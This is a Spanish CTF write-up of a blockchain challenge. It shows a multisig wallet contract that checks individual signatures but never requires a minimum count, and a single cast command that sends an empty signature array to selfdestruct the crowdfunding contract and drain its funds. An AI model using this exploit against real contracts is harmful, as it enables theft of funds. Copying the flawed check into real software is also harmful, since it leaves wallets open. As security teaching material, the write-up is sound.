Writeup de Funds Secured | Blockchain


Descripcion del Challenge:

En Arodor, un programa de crowdfunding de última generación impulsó investigaciones innovadoras. Impulsado por un smart contract, el programa tenía como objetivo recaudar fondos. Un consejo directivo supervisaba esta campaña, siendo responsable de finalizar el programa mediante un esquema de wallet multi-firma. Tu objetivo es explotar el contrato y robar los fondos, representando una amenaza para la noble misión científica de Arodor.


Info:

1
2
3
4
5
Private key           :  0x8c5791a5eedf0f28562d0e863116e4a1a19825c32606ca5a1efeabfbe3958cc5
Address : 0xbD2297b04860d23a168421f5196f7EE0AAcF926a
Crowdfunding contract : 0xaf9955Fe74687503AFDa90fF9a3bd3F57F03F470
Wallet contract : 0x454B7c647787819D73964E2a42C02480D7771B81
Setup contract : 0x1364282cC6Eff85cED108ac337D330492891a086

Seteo variables para trabajar comodamente:

1
2
3
4
5
6
Private='0x8c5791a5eedf0f28562d0e863116e4a1a19825c32606ca5a1efeabfbe3958cc5'
Address='0xbD2297b04860d23a168421f5196f7EE0AAcF926a'
Crowdfunding='0xaf9955Fe74687503AFDa90fF9a3bd3F57F03F470'
Wallet='0x454B7c647787819D73964E2a42C02480D7771B81'
Setup='0x1364282cC6Eff85cED108ac337D330492891a086'
ETH_RPC_URL='94.237.53.203:47563'

Con eso configurado, descargue el challenge y dejé todo listo para empezar. El árbol de archivos en mi carpeta quedó así:

Acá es donde voy a empezar a leer y entender bien la lógica del sistema de votación y la función crítica closeCampaign() que es, básicamente, donde va a estar el bug que nos permite vaciar los fondos.



Campaign.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

import {ECDSA} from "./lib/ECDSA.sol";

/// @notice MultiSignature wallet used to end the Crowdfunding and transfer the funds to a desired address
contract CouncilWallet {
using ECDSA for bytes32;

address[] public councilMembers;

/// @notice Register the 11 council members in the wallet
constructor(address[] memory members) {
require(members.length == 11);
councilMembers = members;
}

/// @notice Function to close crowdfunding campaign. If at least 6 council members have signed, it ends the campaign and transfers the funds to `to` address
function closeCampaign(bytes[] memory signatures, address to, address payable crowdfundingContract) public {
address[] memory voters = new address[](6);
bytes32 data = keccak256(abi.encode(to));

for (uint256 i = 0; i < signatures.length; i++) {
// Get signer address
address signer = data.toEthSignedMessageHash().recover(signatures[i]);

// Ensure that signer is part of Council and has not already signed
require(signer != address(0), "Invalid signature");
require(_contains(councilMembers, signer), "Not council member");
require(!_contains(voters, signer), "Duplicate signature");

// Keep track of addresses that have already signed
voters[i] = signer;
// 6 signatures are enough to proceed with `closeCampaign` execution
if (i > 5) {
break;
}
}

Crowdfunding(crowdfundingContract).closeCampaign(to);
}

/// @notice Returns `true` if the `_address` exists in the address array `_array`, `false` otherwise
function _contains(address[] memory _array, address _address) private pure returns (bool) {
for (uint256 i = 0; i < _array.length; i++) {
if (_array[i] == _address) {
return true;
}
}
return false;
}
}

contract Crowdfunding {
address owner;

uint256 public constant TARGET_FUNDS = 1000 ether;

constructor(address _multisigWallet) {
owner = _multisigWallet;
}

receive() external payable {}

function donate() external payable {}

/// @notice Delete contract and transfer funds to specified address. Can only be called by owner
function closeCampaign(address to) public {
require(msg.sender == owner, "Only owner");
selfdestruct(payable(to));
}
}

Setup.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.18;

import {Crowdfunding} from "./Campaign.sol";
import {CouncilWallet} from "./Campaign.sol";

contract Setup {
Crowdfunding public immutable TARGET;
CouncilWallet public immutable WALLET;

constructor() payable {
// Generate the councilMember array
// which contains the addresses of the council members that control the multi sig wallet.
address[] memory councilMembers = new address[](11);
for (uint256 i = 0; i < 11; i++) {
councilMembers[i] = address(uint160(i));
}

WALLET = new CouncilWallet(councilMembers);
TARGET = new Crowdfunding(address(WALLET));

// Transfer enough funds to reach the campaing's goal.
(bool success,) = address(TARGET).call{value: 1100 ether}("");
require(success, "Transfer failed");
}

function isSolved() public view returns (bool) {
return address(TARGET).balance == 0;
}
}


Entendiendo el objetivo y su lógica

El objetivo basicamente es: vaciar el contrato Crowdfunding para que isSolved() de true.
Esto se evalua en SETUP.SOL:

Ese TARGET es simplemente una instancia del contrato de Crowdfunding a la que se le transfirieron 1100 ETH cuando se deployea el SETUP. Osea, hay platita y hay que robarla.


¿Podemos interactuar directo con Crowdfunding?

Nop. El contrato Crowdfunding (que está definido dentro del archivo Campaign.sol), tiene una funcion publica llamada closeCampaign(address to) pero esta protegida como “Only owner”. Y el único que puede pasar esa verificación es el CouncilWallet, que fue seteado como owner durante el deployment.


El Fallo

Cuando miraba la función closeCampaign dentro de CouncilWallet, en un principio parece segura. Te pide una lista de firmas, chequea que cada firma sea de un miembro del consejo, que no esten duplicadas, etc.

Sin embargo hay un pequeño detalle interesante y es que en ningun momento se valida que haya al menos 6 firmas en el array!.

Ese if (i > 5) corta el loop si ya se tiene 6 firmas, pero no exige que las haya!. Esto valida que podriamos enviar una lista totalmente vacia haciendo que no se chequee nada.. luego se terminaria llamando a:

1
Crowdfunding(crowdfundingContract).closeCampaign(to);

Y como CouncilWallet es el owner del contrato Crowdfunding, la llamada pasa el require(msg.sender == owner), y se ejecuta:

1
selfdestruct(payable(to));

Por ende, se destruye el contrato y manda los 1100 ETH a donde le digamos.


Explotacion

Entonces, la solucion es mas simple de lo que parece.. Solo hay que hacer una llamada a closeCampaign(...) desde nuestro address con los siguientes requisitos:

  • Un array vacío ([]) como firma

  • La dirección CouncilWallet como destino (para simplificar, se podria usar nuestro address tambien si queres recuperar los fondos, pero como el reto nos pide que el balance de Crowdfunding sea 0, con CouncilWallet alcanza)

  • Y por ultimo la address del contrato Crowdfunding

1
cast send $Wallet 'closeCampaign(bytes[] memory, address, address)' '[]' $Wallet $Crowdfunding --private-key $Private


Si verificamos la funcion isSolved():

1
cast call $Setup 'isSolved() (bool)'


Nos da TRUE, solo resta ir por nuestra flag :)


Conclusion..

A veces no se necesita una falla cripto si la logica esta mal implementada. Aunque el contrato use ECDSA correctamente, sino se valida la cantidad minima de firmas el chequeo no sirve absolutamente de nada.